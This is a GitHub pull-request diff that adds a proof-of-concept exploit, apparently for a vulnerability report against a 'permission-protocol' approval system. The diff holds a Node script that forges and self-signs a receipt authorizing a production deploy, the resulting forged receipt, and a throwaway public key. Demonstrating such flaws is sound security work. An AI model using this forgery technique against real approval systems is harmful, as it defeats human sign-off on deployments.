Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions security/poc/ephemeral-public-key.pem
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
-----BEGIN PUBLIC KEY-----
MCowBQYDK2VwAyEA9Iv7LD5Ew8LDNvhtD8VMyWm14jjLpfZv7D4r6qJh29E=
-----END PUBLIC KEY-----
44 changes: 44 additions & 0 deletions security/poc/exploit.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
const fs = require('fs');
const crypto = require('crypto');
const path = require('path');

// Accept paths as arguments to avoid brittle relative links
const ppCliPathArg = process.argv[2];
const templateReceiptPathArg = process.argv[3];

if (!ppCliPathArg || !templateReceiptPathArg) {
console.error('Usage: node exploit.js <path-to-pp-cli-canonicalize> <path-to-template-receipt>');
process.exit(1);
}

const ppCliPath = path.resolve(ppCliPathArg);
const { canonicalizeReceiptBytes } = require(ppCliPath);
const templateReceiptPath = path.resolve(templateReceiptPathArg);

// Generate an ephemeral keypair for the POC to avoid using leaked fixture keys
const { privateKey, publicKey } = crypto.generateKeyPairSync('ed25519');

// Read the template receipt
const receipt = JSON.parse(fs.readFileSync(templateReceiptPath, 'utf8'));

// Modify the receipt to target our PR bypass
receipt.id = 'rcpt_forged_pr32_ephemeral_001';
receipt.requestJson.repo = 'permission-protocol/pp-demo';
receipt.requestJson.action = 'deploy:production';
receipt.requestJson.prNumber = 32;

// Re-canonicalize the modified payload and sign it
const payloadBytes = canonicalizeReceiptBytes(receipt);
const signature = crypto.sign(null, payloadBytes, privateKey);

// Attach the forged signature
receipt.signatureValue = signature.toString('base64');

// Export the ephemeral keys and the forged receipt for the POC
const outDir = __dirname;
fs.writeFileSync(path.join(outDir, 'ephemeral-public-key.pem'), publicKey.export({ type: 'spki', format: 'pem' }));
fs.writeFileSync(path.join(outDir, 'forged-receipt.json'), JSON.stringify(receipt, null, 2));

console.log('POC artifacts generated successfully in', outDir);
console.log('To verify the bypass, run:');
console.log('node <path-to-pp-cli>/dist/cli.js verify security/poc/forged-receipt.json --key-file security/poc/ephemeral-public-key.pem');
30 changes: 30 additions & 0 deletions security/poc/forged-receipt.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
{
"id": "rcpt_forged_pr32_ephemeral_001",
"companyId": "co_permission_protocol",
"idemKey": "idem_abc123",
"agentId": "agent_prod_1",
"runId": "run_12345",
"requestJson": {
"signer": "alice@corp.com",
"action": "deploy:production",
"repo": "permission-protocol/pp-demo",
"commitSha": "9f2c1a7",
"prNumber": 32
},
"inputHash": "ae1608896372720b6ebb58261e0c0092c608324b0804bc99267c1753990faaa8",
"status": "valid",
"riskTier": "high",
"policyVersion": "prod-deploy-v2",
"reasonCodes": [
"POLICY_MATCH"
],
"summary": "Approved deploy to production",
"receiptVersion": "v1",
"canonicalization": "jcs_v1",
"signatureAlg": "ed25519",
"signatureKeyId": "pp-test-2026-q2",
"expiresAt": "2026-12-31T00:00:00.000Z",
"createdAt": "2026-04-30T16:23:11.000Z",
"signatureValue": "ahe6nGTTzBJCAEmMh37TcSo+/Mthnp79rhYmM3LntvRqDLzk48htgoZFt5l/djy+mIDtzjYREJGRslG+RARbAQ==",
"redeemedAt": "2026-04-30T17:00:00.000Z"
}